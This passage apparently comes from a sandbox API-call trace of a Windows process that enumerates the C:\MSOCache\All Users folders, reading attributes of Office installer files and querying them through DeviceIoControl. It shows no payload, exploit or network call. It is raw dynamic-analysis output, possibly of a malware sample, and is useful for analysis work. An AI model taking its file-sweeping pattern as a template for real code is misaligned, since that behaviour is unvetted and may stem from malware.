dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0040.666] GetLastError () returned 0x12 [0040.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3868) returned 1 [0040.666] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0040.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3970) returned 1 [0040.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d76d8) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.666] GetLastError () returned 0x12 [0040.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0040.666] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0040.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.667] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0040.706] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.706] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.706] NtClose (Handle=0x15c) returned 0x0 [0040.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0040.706] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.758] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.758] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0040.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5348 [0040.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5368 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3970 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5388 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3868 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d53a8 [0040.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d43c0 [0040.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.759] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.759] GetLastError () returned 0x12 [0040.759] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0040.760] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0040.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0040.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0040.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.760] GetLastError () returned 0x12 [0040.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0040.760] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0040.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0040.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0040.761] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.761] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0040.761] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.761] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.761] NtClose (Handle=0x164) returned 0x0 [0040.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.762] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0040.830] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0040.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d53c8 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d44c8 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d53e8 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d45d0 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5408 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d46d8 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 